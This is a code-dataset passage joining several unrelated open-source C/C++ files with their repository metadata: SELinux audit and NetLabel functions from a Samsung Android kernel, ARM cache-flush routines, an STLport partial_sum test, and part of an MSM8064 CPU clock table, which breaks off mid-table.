tmprule->au_ctxt.type = typedatum->value; break; case AUDIT_SUBJ_SEN: case AUDIT_SUBJ_CLR: case AUDIT_OBJ_LEV_LOW: case AUDIT_OBJ_LEV_HIGH: rc = mls_from_string(rulestr, &tmprule->au_ctxt, GFP_ATOMIC); if (rc) goto out; break; } rc = 0; out: read_unlock(&policy_rwlock); if (rc) { selinux_audit_rule_free(tmprule); tmprule = NULL; } *rule = tmprule; return rc; } /* Check to see if the rule contains any selinux fields */ int selinux_audit_rule_known(struct audit_krule *rule) { int i; #ifdef CONFIG_TIMA_RKP_RO_CRED int rc; if ((rc = security_integrity_current())) return rc; #endif for (i = 0; i < rule->field_count; i++) { struct audit_field *f = &rule->fields[i]; switch (f->type) { case AUDIT_SUBJ_USER: case AUDIT_SUBJ_ROLE: case AUDIT_SUBJ_TYPE: case AUDIT_SUBJ_SEN: case AUDIT_SUBJ_CLR: case AUDIT_OBJ_USER: case AUDIT_OBJ_ROLE: case AUDIT_OBJ_TYPE: case AUDIT_OBJ_LEV_LOW: case AUDIT_OBJ_LEV_HIGH: return 1; } } return 0; } int selinux_audit_rule_match(u32 sid, u32 field, u32 op, void *vrule, struct audit_context *actx) { struct context *ctxt; struct mls_level *level; struct selinux_audit_rule *rule = vrule; int match = 0; #ifdef CONFIG_TIMA_RKP_RO_CRED int rc; if ((rc = security_integrity_current())) return rc; #endif if (!rule) { audit_log(actx, GFP_ATOMIC, AUDIT_SELINUX_ERR, "selinux_audit_rule_match: missing rule\n"); return -ENOENT; } read_lock(&policy_rwlock); if (rule->au_seqno < latest_granting) { audit_log(actx, GFP_ATOMIC, AUDIT_SELINUX_ERR, "selinux_audit_rule_match: stale rule\n"); match = -ESTALE; goto out; } ctxt = sidtab_search(&sidtab, sid); if (!ctxt) { audit_log(actx, GFP_ATOMIC, AUDIT_SELINUX_ERR, "selinux_audit_rule_match: unrecognized SID %d\n", sid); match = -ENOENT; goto out; } /* a field/op pair that is not caught here will simply fall through without a match */ switch (field) { case AUDIT_SUBJ_USER: case AUDIT_OBJ_USER: switch (op) { case Audit_equal: match = (ctxt->user == rule->au_ctxt.user); break; case Audit_not_equal: match = (ctxt->user != rule->au_ctxt.user); break; } break; case AUDIT_SUBJ_ROLE: case AUDIT_OBJ_ROLE: switch (op) { case Audit_equal: match = (ctxt->role == rule->au_ctxt.role); break; case Audit_not_equal: match = (ctxt->role != rule->au_ctxt.role); break; } break; case AUDIT_SUBJ_TYPE: case AUDIT_OBJ_TYPE: switch (op) { case Audit_equal: match = (ctxt->type == rule->au_ctxt.type); break; case Audit_not_equal: match = (ctxt->type != rule->au_ctxt.type); break; } break; case AUDIT_SUBJ_SEN: case AUDIT_SUBJ_CLR: case AUDIT_OBJ_LEV_LOW: case AUDIT_OBJ_LEV_HIGH: level = ((field == AUDIT_SUBJ_SEN || field == AUDIT_OBJ_LEV_LOW) ? &ctxt->range.level[0] : &ctxt->range.level[1]); switch (op) { case Audit_equal: match = mls_level_eq(&rule->au_ctxt.range.level[0], level); break; case Audit_not_equal: match = !mls_level_eq(&rule->au_ctxt.range.level[0], level); break; case Audit_lt: match = (mls_level_dom(&rule->au_ctxt.range.level[0], level) && !mls_level_eq(&rule->au_ctxt.range.level[0], level)); break; case Audit_le: match = mls_level_dom(&rule->au_ctxt.range.level[0], level); break; case Audit_gt: match = (mls_level_dom(level, &rule->au_ctxt.range.level[0]) && !mls_level_eq(level, &rule->au_ctxt.range.level[0])); break; case Audit_ge: match = mls_level_dom(level, &rule->au_ctxt.range.level[0]); break; } } out: read_unlock(&policy_rwlock); return match; } static int (*aurule_callback)(void) = audit_update_lsm_rules; static int aurule_avc_callback(u32 event) { int err = 0; if (event == AVC_CALLBACK_RESET && aurule_callback) err = aurule_callback(); return err; } static int __init aurule_init(void) { int err; err = avc_add_callback(aurule_avc_callback, AVC_CALLBACK_RESET); if (err) panic("avc_add_callback() failed, error %d\n", err); return err; } __initcall(aurule_init); #ifdef CONFIG_NETLABEL /** * security_netlbl_cache_add - Add an entry to the NetLabel cache * @secattr: the NetLabel packet security attributes * @sid: the SELinux SID * * Description: * Attempt to cache the context in @ctx, which was derived from the packet in * @skb, in the NetLabel subsystem cache. This function assumes @secattr has * already been initialized. * */ static void security_netlbl_cache_add(struct netlbl_lsm_secattr *secattr, u32 sid) { u32 *sid_cache; sid_cache = kmalloc(sizeof(*sid_cache), GFP_ATOMIC); if (sid_cache == NULL) return; secattr->cache = netlbl_secattr_cache_alloc(GFP_ATOMIC); if (secattr->cache == NULL) { kfree(sid_cache); return; } *sid_cache = sid; secattr->cache->free = kfree; secattr->cache->data = sid_cache; secattr->flags |= NETLBL_SECATTR_CACHE; } /** * security_netlbl_secattr_to_sid - Convert a NetLabel secattr to a SELinux SID * @secattr: the NetLabel packet security attributes * @sid: the SELinux SID * * Description: * Convert the given NetLabel security attributes in @secattr into a * SELinux SID. If the @secattr field does not contain a full SELinux * SID/context then use SECINITSID_NETMSG as the foundation. If possible the * 'cache' field of @secattr is set and the CACHE flag is set; this is to * allow the @secattr to be used by NetLabel to cache the secattr to SID * conversion for future lookups. Returns zero on success, negative values on * failure. * */ int security_netlbl_secattr_to_sid(struct netlbl_lsm_secattr *secattr, u32 *sid) { int rc; struct context *ctx; struct context ctx_new; if (!ss_initialized) { *sid = SECSID_NULL; return 0; } read_lock(&policy_rwlock); if (secattr->flags & NETLBL_SECATTR_CACHE) *sid = *(u32 *)secattr->cache->data; else if (secattr->flags & NETLBL_SECATTR_SECID) *sid = secattr->attr.secid; else if (secattr->flags & NETLBL_SECATTR_MLS_LVL) { rc = -EIDRM; ctx = sidtab_search(&sidtab, SECINITSID_NETMSG); if (ctx == NULL) goto out; context_init(&ctx_new); ctx_new.user = ctx->user; ctx_new.role = ctx->role; ctx_new.type = ctx->type; mls_import_netlbl_lvl(&ctx_new, secattr); if (secattr->flags & NETLBL_SECATTR_MLS_CAT) { rc = ebitmap_netlbl_import(&ctx_new.range.level[0].cat, secattr->attr.mls.cat); if (rc) goto out; memcpy(&ctx_new.range.level[1].cat, &ctx_new.range.level[0].cat, sizeof(ctx_new.range.level[0].cat)); } rc = -EIDRM; if (!mls_context_isvalid(&policydb, &ctx_new)) goto out_free; rc = sidtab_context_to_sid(&sidtab, &ctx_new, sid); if (rc) goto out_free; security_netlbl_cache_add(secattr, *sid); ebitmap_destroy(&ctx_new.range.level[0].cat); } else *sid = SECSID_NULL; read_unlock(&policy_rwlock); return 0; out_free: ebitmap_destroy(&ctx_new.range.level[0].cat); out: read_unlock(&policy_rwlock); return rc; } /** * security_netlbl_sid_to_secattr - Convert a SELinux SID to a NetLabel secattr * @sid: the SELinux SID * @secattr: the NetLabel packet security attributes * * Description: * Convert the given SELinux SID in @sid into a NetLabel security attribute. * Returns zero on success, negative values on failure. * */ int security_netlbl_sid_to_secattr(u32 sid, struct netlbl_lsm_secattr *secattr) { int rc; struct context *ctx; if (!ss_initialized) return 0; read_lock(&policy_rwlock); rc = -ENOENT; ctx = sidtab_search(&sidtab, sid); if (ctx == NULL) goto out; rc = -ENOMEM; secattr->domain = kstrdup(sym_name(&policydb, SYM_TYPES, ctx->type - 1), GFP_ATOMIC); if (secattr->domain == NULL) goto out; secattr->attr.secid = sid; secattr->flags |= NETLBL_SECATTR_DOMAIN_CPY | NETLBL_SECATTR_SECID; mls_export_netlbl_lvl(ctx, secattr); rc = mls_export_netlbl_cat(ctx, secattr); out: read_unlock(&policy_rwlock); return rc; } #endif /* CONFIG_NETLABEL */ /** * security_read_policy - read the policy. * @data: binary policy data * @len: length of data in bytes * */ int security_read_policy(void **data, size_t *len) { int rc; struct policy_file fp; if (!ss_initialized) return -EINVAL; *len = security_policydb_len(); *data = vmalloc_user(*len); if (!*data) return -ENOMEM; fp.data = *data; fp.len = *len; read_lock(&policy_rwlock); rc = policydb_write(&policydb, &fp); read_unlock(&policy_rwlock); if (rc) return rc; *len = (unsigned long)fp.data - (unsigned long)*data; return 0; }
bju2000/android_kernel_samsung_slteskt
security/selinux/ss/services.c
C
gpl-2.0
77,340
/* * linux/arch/arm/mm/flush.c * * Copyright (C) 1995-2002 Russell King * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. */ #include <linux/module.h> #include <linux/mm.h> #include <linux/pagemap.h> #include <linux/highmem.h> #include <asm/cacheflush.h> #include <asm/cachetype.h> #include <asm/highmem.h> #include <asm/smp_plat.h> #include <asm/tlbflush.h> #include "mm.h" #ifdef CONFIG_CPU_CACHE_VIPT static void flush_pfn_alias(unsigned long pfn, unsigned long vaddr) { unsigned long to = FLUSH_ALIAS_START + (CACHE_COLOUR(vaddr) << PAGE_SHIFT); const int zero = 0; set_top_pte(to, pfn_pte(pfn, PAGE_KERNEL)); asm( "mcrr p15, 0, %1, %0, c14\n" " mcr p15, 0, %2, c7, c10, 4" : : "r" (to), "r" (to + PAGE_SIZE - L1_CACHE_BYTES), "r" (zero) : "cc"); } static void flush_icache_alias(unsigned long pfn, unsigned long vaddr, unsigned long len) { unsigned long va = FLUSH_ALIAS_START + (CACHE_COLOUR(vaddr) << PAGE_SHIFT); unsigned long offset = vaddr & (PAGE_SIZE - 1); unsigned long to; set_top_pte(va, pfn_pte(pfn, PAGE_KERNEL)); to = va + offset; flush_icache_range(to, to + len); } void flush_cache_mm(struct mm_struct *mm) { if (cache_is_vivt()) { vivt_flush_cache_mm(mm); return; } if (cache_is_vipt_aliasing()) { asm( "mcr p15, 0, %0, c7, c14, 0\n" " mcr p15, 0, %0, c7, c10, 4" : : "r" (0) : "cc"); } } void flush_cache_range(struct vm_area_struct *vma, unsigned long start, unsigned long end) { if (cache_is_vivt()) { vivt_flush_cache_range(vma, start, end); return; } if (cache_is_vipt_aliasing()) { asm( "mcr p15, 0, %0, c7, c14, 0\n" " mcr p15, 0, %0, c7, c10, 4" : : "r" (0) : "cc"); } if (vma->vm_flags & VM_EXEC) __flush_icache_all(); } void flush_cache_page(struct vm_area_struct *vma, unsigned long user_addr, unsigned long pfn) { if (cache_is_vivt()) { vivt_flush_cache_page(vma, user_addr, pfn); return; } if (cache_is_vipt_aliasing()) { flush_pfn_alias(pfn, user_addr); __flush_icache_all(); } if (vma->vm_flags & VM_EXEC && icache_is_vivt_asid_tagged()) __flush_icache_all(); } #else #define flush_pfn_alias(pfn,vaddr) do { } while (0) #define flush_icache_alias(pfn,vaddr,len) do { } while (0) #endif static void flush_ptrace_access_other(void *args) { __flush_icache_all(); } static void flush_ptrace_access(struct vm_area_struct *vma, struct page *page, unsigned long uaddr, void *kaddr, unsigned long len) { if (cache_is_vivt()) { if (cpumask_test_cpu(smp_processor_id(), mm_cpumask(vma->vm_mm))) { unsigned long addr = (unsigned long)kaddr; __cpuc_coherent_kern_range(addr, addr + len); } return; } if (cache_is_vipt_aliasing()) { flush_pfn_alias(page_to_pfn(page), uaddr); __flush_icache_all(); return; } /* VIPT non-aliasing D-cache */ if (vma->vm_flags & VM_EXEC) { unsigned long addr = (unsigned long)kaddr; if (icache_is_vipt_aliasing()) flush_icache_alias(page_to_pfn(page), uaddr, len); else __cpuc_coherent_kern_range(addr, addr + len); if (cache_ops_need_broadcast()) smp_call_function(flush_ptrace_access_other, NULL, 1); } } /* * Copy user data from/to a page which is mapped into a different * processes address space. Really, we want to allow our "user * space" model to handle this. * * Note that this code needs to run on the current CPU. */ void copy_to_user_page(struct vm_area_struct *vma, struct page *page, unsigned long uaddr, void *dst, const void *src, unsigned long len) { #ifdef CONFIG_SMP preempt_disable(); #endif memcpy(dst, src, len); flush_ptrace_access(vma, page, uaddr, dst, len); #ifdef CONFIG_SMP preempt_enable(); #endif } void __flush_dcache_page(struct address_space *mapping, struct page *page) { /* * Writeback any data associated with the kernel mapping of this * page. This ensures that data in the physical page is mutually * coherent with the kernels mapping. */ if (!PageHighMem(page)) { __cpuc_flush_dcache_area(page_address(page), PAGE_SIZE); } else { void *addr = kmap_high_get(page); if (addr) { __cpuc_flush_dcache_area(addr, PAGE_SIZE); kunmap_high(page); } else if (cache_is_vipt()) { /* unmapped pages might still be cached */ addr = kmap_atomic(page); __cpuc_flush_dcache_area(addr, PAGE_SIZE); kunmap_atomic(addr); } } /* * If this is a page cache page, and we have an aliasing VIPT cache, * we only need to do one flush - which would be at the relevant * userspace colour, which is congruent with page->index. */ if (mapping && cache_is_vipt_aliasing()) flush_pfn_alias(page_to_pfn(page), page->index << PAGE_CACHE_SHIFT); } static void __flush_dcache_aliases(struct address_space *mapping, struct page *page) { struct mm_struct *mm = current->active_mm; struct vm_area_struct *mpnt; struct prio_tree_iter iter; pgoff_t pgoff; /* * There are possible user space mappings of this page: * - VIVT cache: we need to also write back and invalidate all user * data in the current VM view associated with this page. * - aliasing VIPT: we only need to find one mapping of this page. */ pgoff = page->index << (PAGE_CACHE_SHIFT - PAGE_SHIFT); flush_dcache_mmap_lock(mapping); vma_prio_tree_foreach(mpnt, &iter, &mapping->i_mmap, pgoff, pgoff) { unsigned long offset; /* * If this VMA is not in our MM, we can ignore it. */ if (mpnt->vm_mm != mm) continue; if (!(mpnt->vm_flags & VM_MAYSHARE)) continue; offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT; flush_cache_page(mpnt, mpnt->vm_start + offset, page_to_pfn(page)); } flush_dcache_mmap_unlock(mapping); } #if __LINUX_ARM_ARCH__ >= 6 void __sync_icache_dcache(pte_t pteval) { unsigned long pfn; struct page *page; struct address_space *mapping; if (!pte_present_user(pteval)) return; if (cache_is_vipt_nonaliasing() && !pte_exec(pteval)) /* only flush non-aliasing VIPT caches for exec mappings */ return; pfn = pte_pfn(pteval); if (!pfn_valid(pfn)) return; page = pfn_to_page(pfn); if (cache_is_vipt_aliasing()) mapping = page_mapping(page); else mapping = NULL; if (!test_and_set_bit(PG_dcache_clean, &page->flags)) __flush_dcache_page(mapping, page); if (pte_exec(pteval)) __flush_icache_all(); } #endif /* * Ensure cache coherency between kernel mapping and userspace mapping * of this page. * * We have three cases to consider: * - VIPT non-aliasing cache: fully coherent so nothing required. * - VIVT: fully aliasing, so we need to handle every alias in our * current VM view. * - VIPT aliasing: need to handle one alias in our current VM view. * * If we need to handle aliasing: * If the page only exists in the page cache and there are no user * space mappings, we can be lazy and remember that we may have dirty * kernel cache lines for later. Otherwise, we assume we have * aliasing mappings. * * Note that we disable the lazy flush for SMP configurations where * the cache maintenance operations are not automatically broadcasted. */ void flush_dcache_page(struct page *page) { struct address_space *mapping; /* * The zero page is never written to, so never has any dirty * cache lines, and therefore never needs to be flushed. */ if (page == ZERO_PAGE(0)) return; mapping = page_mapping(page); if (!cache_ops_need_broadcast() && mapping && !mapping_mapped(mapping)) clear_bit(PG_dcache_clean, &page->flags); else { __flush_dcache_page(mapping, page); if (mapping && cache_is_vivt()) __flush_dcache_aliases(mapping, page); else if (mapping) __flush_icache_all(); set_bit(PG_dcache_clean, &page->flags); } } EXPORT_SYMBOL(flush_dcache_page); /* * Flush an anonymous page so that users of get_user_pages() * can safely access the data. The expected sequence is: * * get_user_pages() * -> flush_anon_page * memcpy() to/from page * if written to page, flush_dcache_page() */ void __flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vmaddr) { unsigned long pfn; /* VIPT non-aliasing caches need do nothing */ if (cache_is_vipt_nonaliasing()) return; /* * Write back and invalidate userspace mapping. */ pfn = page_to_pfn(page); if (cache_is_vivt()) { flush_cache_page(vma, vmaddr, pfn); } else { /* * For aliasing VIPT, we can flush an alias of the * userspace address only. */ flush_pfn_alias(pfn, vmaddr); __flush_icache_all(); } /* * Invalidate kernel mapping. No data should be contained * in this mapping of the page. FIXME: this is overkill * since we actually ask for a write-back and invalidate. */ __cpuc_flush_dcache_area(page_address(page), PAGE_SIZE); }
Jackeagle/android_kernel_sony_c2305
arch/arm/mm/flush.c
C
gpl-2.0
9,199
// STLport regression testsuite component. // To compile as a separate example, please #define MAIN. #include <iterator> #include <vector> #include <algorithm> #include <iostream> #include <numeric> #include <iterator> #ifdef MAIN #define partsum1_test main #endif #if !defined (STLPORT) || defined(__STL_USE_NAMESPACES) using namespace std; #endif int partsum1_test(int, char**) { cout<<"Results of partsum1_test:"<<endl; vector <int> v1(10); iota(v1.begin(), v1.end(), 0); vector <int> v2(v1.size()); partial_sum(v1.begin(), v1.end(), v2.begin()); ostream_iterator <int> iter(cout, " "); copy(v1.begin(), v1.end(), iter); cout << endl; copy(v2.begin(), v2.end(), iter); cout << endl; return 0; }
atmark-techno/atmark-dist
lib/STLport/test/regression/partsum1.cpp
C++
gpl-2.0
724
/* * Copyright (c) 2011-2012, Code Aurora Forum. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and * only version 2 as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #include <linux/kernel.h> #include <linux/module.h> #include <linux/platform_device.h> #include <mach/rpm-regulator.h> #include <mach/msm_bus_board.h> #include <mach/msm_bus.h> #include "mach/socinfo.h" #include "acpuclock.h" #include "acpuclock-krait.h" #ifdef CONFIG_PERFLOCK #include <mach/perflock.h> #endif static struct hfpll_data hfpll_data __initdata = { .mode_offset = 0x00, .l_offset = 0x08, .m_offset = 0x0C, .n_offset = 0x10, .config_offset = 0x04, .config_val = 0x7845C665, .has_droop_ctl = true, .droop_offset = 0x14, .droop_val = 0x0108C000, .low_vdd_l_max = 22, .nom_vdd_l_max = 42, .vdd[HFPLL_VDD_NONE] = 0, .vdd[HFPLL_VDD_LOW] = 945000, .vdd[HFPLL_VDD_NOM] = 1050000, .vdd[HFPLL_VDD_HIGH] = 1150000, }; static struct scalable scalable[] __initdata = { [CPU0] = { .hfpll_phys_base = 0x00903200, .aux_clk_sel_phys = 0x02088014, .aux_clk_sel = 3, .sec_clk_sel = 2, .l2cpmr_iaddr = 0x4501, .vreg[VREG_CORE] = { "krait0", 1350000 }, .vreg[VREG_MEM] = { "krait0_mem", 1150000 }, .vreg[VREG_DIG] = { "krait0_dig", 1150000 }, .vreg[VREG_HFPLL_A] = { "krait0_hfpll", 1800000 }, }, [CPU1] = { .hfpll_phys_base = 0x00903240, .aux_clk_sel_phys = 0x02098014, .aux_clk_sel = 3, .sec_clk_sel = 2, .l2cpmr_iaddr = 0x5501, .vreg[VREG_CORE] = { "krait1", 1350000 }, .vreg[VREG_MEM] = { "krait1_mem", 1150000 }, .vreg[VREG_DIG] = { "krait1_dig", 1150000 }, .vreg[VREG_HFPLL_A] = { "krait1_hfpll", 1800000 }, }, [CPU2] = { .hfpll_phys_base = 0x00903280, .aux_clk_sel_phys = 0x020A8014, .aux_clk_sel = 3, .sec_clk_sel = 2, .l2cpmr_iaddr = 0x6501, .vreg[VREG_CORE] = { "krait2", 1350000 }, .vreg[VREG_MEM] = { "krait2_mem", 1150000 }, .vreg[VREG_DIG] = { "krait2_dig", 1150000 }, .vreg[VREG_HFPLL_A] = { "krait2_hfpll", 1800000 }, }, [CPU3] = { .hfpll_phys_base = 0x009032C0, .aux_clk_sel_phys = 0x020B8014, .aux_clk_sel = 3, .sec_clk_sel = 2, .l2cpmr_iaddr = 0x7501, .vreg[VREG_CORE] = { "krait3", 1350000 }, .vreg[VREG_MEM] = { "krait3_mem", 1150000 }, .vreg[VREG_DIG] = { "krait3_dig", 1150000 }, .vreg[VREG_HFPLL_A] = { "krait3_hfpll", 1800000 }, }, [L2] = { .hfpll_phys_base = 0x00903300, .aux_clk_sel_phys = 0x02011028, .aux_clk_sel = 3, .sec_clk_sel = 2, .l2cpmr_iaddr = 0x0500, .vreg[VREG_HFPLL_A] = { "l2_hfpll", 1800000 }, }, }; static struct msm_bus_paths bw_level_tbl[] __initdata = { [0] = BW_MBPS(640), [1] = BW_MBPS(1064), [2] = BW_MBPS(1600), [3] = BW_MBPS(2128), [4] = BW_MBPS(3200), [5] = BW_MBPS(4264), }; static struct msm_bus_scale_pdata bus_scale_data __initdata = { .usecase = bw_level_tbl, .num_usecases = ARRAY_SIZE(bw_level_tbl), .active_only = 1, .name = "acpuclk-8064", }; static struct l2_level l2_freq_tbl[] __initdata = { [0] = { { 378000, HFPLL, 2, 0x1C }, 950000, 1050000, 1 }, [0] = { { 384000, PLL_8, 0, 0x00 }, 950000, 1050000, 1 }, [1] = { { 432000, HFPLL, 2, 0x20 }, 1050000, 1050000, 2 }, [2] = { { 486000, HFPLL, 2, 0x24 }, 1050000, 1050000, 2 }, [3] = { { 540000, HFPLL, 2, 0x28 }, 1050000, 1050000, 2 }, [4] = { { 594000, HFPLL, 1, 0x16 }, 1050000, 1050000, 2 }, [5] = { { 648000, HFPLL, 1, 0x18 }, 1050000, 1050000, 4 }, [6] = { { 702000, HFPLL, 1, 0x1A }, 1150000, 1150000, 4 }, [7] = { { 756000, HFPLL, 1, 0x1C }, 1150000, 1150000, 4 }, [8] = { { 810000, HFPLL, 1, 0x1E }, 1150000, 1150000, 4 }, [9] = { { 864000, HFPLL, 1, 0x20 }, 1150000, 1150000, 4 }, [10] = { { 918000, HFPLL, 1, 0x22 }, 1150000, 1150000, 5 }, [11] = { { 972000, HFPLL, 1, 0x24 }, 1150000, 1150000, 5 }, [12] = { { 1134000, HFPLL, 1, 0x2A }, 1150000, 1150000, 5 }, [13] = { { 1242000, HFPLL, 1, 0x2E }, 1150000, 1150000, 5 }, [14] = { { 1296000, HFPLL, 1, 0x30 }, 1150000, 1150000, 5 }, [15] = { { 1350000, HFPLL, 1, 0x32 }, 1150000, 1150000, 5 }, [16] = { { 1404000, HFPLL, 1, 0x34 }, 1150000, 1150000, 5 }, [17] = { { 1458000, HFPLL, 1, 0x36 }, 1150000, 1150000, 5 }, { } }; static struct acpu_level tbl_slow[] __initdata = { { 1, { 162000, HFPLL, 2, 0x0C }, L2(0), 900000 }, { 1, { 216000, HFPLL, 2, 0x10 }, L2(0), 900000 }, { 1, { 270000, HFPLL, 2, 0x14 }, L2(0), 900000 }, { 1, { 324000, HFPLL, 2, 0x18 }, L2(0), 925000 }, { 1, { 378000, HFPLL, 2, 0x1C }, L2(0), 925000 }, { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 950000 }, { 0, { 432000, HFPLL, 2, 0x20 }, L2(5), 975000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 975000 }, { 0, { 540000, HFPLL, 2, 0x28 }, L2(5), 1000000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 1000000 }, { 0, { 648000, HFPLL, 1, 0x18 }, L2(5), 1025000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 1025000 }, { 0, { 756000, HFPLL, 1, 0x1C }, L2(5), 1075000 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 1075000 }, { 0, { 864000, HFPLL, 1, 0x20 }, L2(5), 1100000 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 1100000 }, { 0, { 972000, HFPLL, 1, 0x24 }, L2(5), 1125000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 1125000 }, { 0, { 1080000, HFPLL, 1, 0x28 }, L2(14), 1175000 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 1175000 }, { 0, { 1188000, HFPLL, 1, 0x2C }, L2(14), 1200000 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 1200000 }, { 0, { 1296000, HFPLL, 1, 0x30 }, L2(14), 1225000 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(15), 1225000 }, { 0, { 1404000, HFPLL, 1, 0x34 }, L2(15), 1237500 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(15), 1237500 }, { 1, { 1512000, HFPLL, 1, 0x38 }, L2(15), 1250000 }, { 0, { 0 } } }; static struct acpu_level tbl_nom[] __initdata = { { 1, { 162000, HFPLL, 2, 0x0C }, L2(0), 900000 }, { 1, { 216000, HFPLL, 2, 0x10 }, L2(0), 900000 }, { 1, { 270000, HFPLL, 2, 0x14 }, L2(0), 900000 }, { 1, { 324000, HFPLL, 2, 0x18 }, L2(0), 925000 }, { 1, { 378000, HFPLL, 2, 0x1C }, L2(0), 925000 }, { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 900000 }, { 0, { 432000, HFPLL, 2, 0x20 }, L2(5), 925000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 925000 }, { 0, { 540000, HFPLL, 2, 0x28 }, L2(5), 950000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 950000 }, { 0, { 648000, HFPLL, 1, 0x18 }, L2(5), 975000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 975000 }, { 0, { 756000, HFPLL, 1, 0x1C }, L2(5), 1025000 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 1025000 }, { 0, { 864000, HFPLL, 1, 0x20 }, L2(5), 1050000 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 1050000 }, { 0, { 972000, HFPLL, 1, 0x24 }, L2(5), 1075000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 1075000 }, { 0, { 1080000, HFPLL, 1, 0x28 }, L2(14), 1125000 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 1125000 }, { 0, { 1188000, HFPLL, 1, 0x2C }, L2(14), 1150000 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 1150000 }, { 0, { 1296000, HFPLL, 1, 0x30 }, L2(14), 1175000 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(15), 1175000 }, { 0, { 1404000, HFPLL, 1, 0x34 }, L2(15), 1187500 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(15), 1187500 }, { 1, { 1512000, HFPLL, 1, 0x38 }, L2(15), 1200000 }, { 0, { 0 } } }; static struct acpu_level tbl_fast[] __initdata = { { 1, { 162000, HFPLL, 2, 0x0C }, L2(0), 900000 }, { 1, { 216000, HFPLL, 2, 0x10 }, L2(0), 900000 }, { 1, { 270000, HFPLL, 2, 0x14 }, L2(0), 900000 }, { 1, { 324000, HFPLL, 2, 0x18 }, L2(0), 925000 }, { 1, { 378000, HFPLL, 2, 0x1C }, L2(0), 925000 }, { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 850000 }, { 0, { 432000, HFPLL, 2, 0x20 }, L2(5), 875000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 875000 }, { 0, { 540000, HFPLL, 2, 0x28 }, L2(5), 900000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 900000 }, { 0, { 648000, HFPLL, 1, 0x18 }, L2(5), 925000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 925000 }, { 0, { 756000, HFPLL, 1, 0x1C }, L2(5), 975000 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 975000 }, { 0, { 864000, HFPLL, 1, 0x20 }, L2(5), 1000000 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 1000000 }, { 0, { 972000, HFPLL, 1, 0x24 }, L2(5), 1025000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 1025000 }, { 0, { 1080000, HFPLL, 1, 0x28 }, L2(14), 1075000 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 1075000 }, { 0, { 1188000, HFPLL, 1, 0x2C }, L2(14), 1100000 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 1100000 }, { 0, { 1296000, HFPLL, 1, 0x30 }, L2(14), 1125000 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(15), 1125000 }, { 0, { 1404000, HFPLL, 1, 0x34 }, L2(15), 1137500 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(15), 1137500 }, { 1, { 1512000, HFPLL, 1, 0x38 }, L2(15), 1150000 }, { 0, { 0 } } }; static struct acpu_level tbl_faster[] __initdata = { { 1, { 162000, HFPLL, 2, 0x0C }, L2(0), 900000 }, { 1, { 216000, HFPLL, 2, 0x10 }, L2(0), 900000 }, { 1, { 270000, HFPLL, 2, 0x14 }, L2(0), 900000 }, { 1, { 324000, HFPLL, 2, 0x18 }, L2(0), 925000 }, { 1, { 378000, HFPLL, 2, 0x1C }, L2(0), 925000 }, { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 850000 }, { 0, { 432000, HFPLL, 2, 0x20 }, L2(5), 875000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 875000 }, { 0, { 540000, HFPLL, 2, 0x28 }, L2(5), 900000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 900000 }, { 0, { 648000, HFPLL, 1, 0x18 }, L2(5), 925000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 925000 }, { 0, { 756000, HFPLL, 1, 0x1C }, L2(5), 962500 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 962500 }, { 0, { 864000, HFPLL, 1, 0x20 }, L2(5), 975000 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 975000 }, { 0, { 972000, HFPLL, 1, 0x24 }, L2(5), 1000000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 1000000 }, { 0, { 1080000, HFPLL, 1, 0x28 }, L2(14), 1050000 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 1050000 }, { 0, { 1188000, HFPLL, 1, 0x2C }, L2(14), 1075000 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 1075000 }, { 0, { 1296000, HFPLL, 1, 0x30 }, L2(14), 1100000 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(15), 1100000 }, { 0, { 1404000, HFPLL, 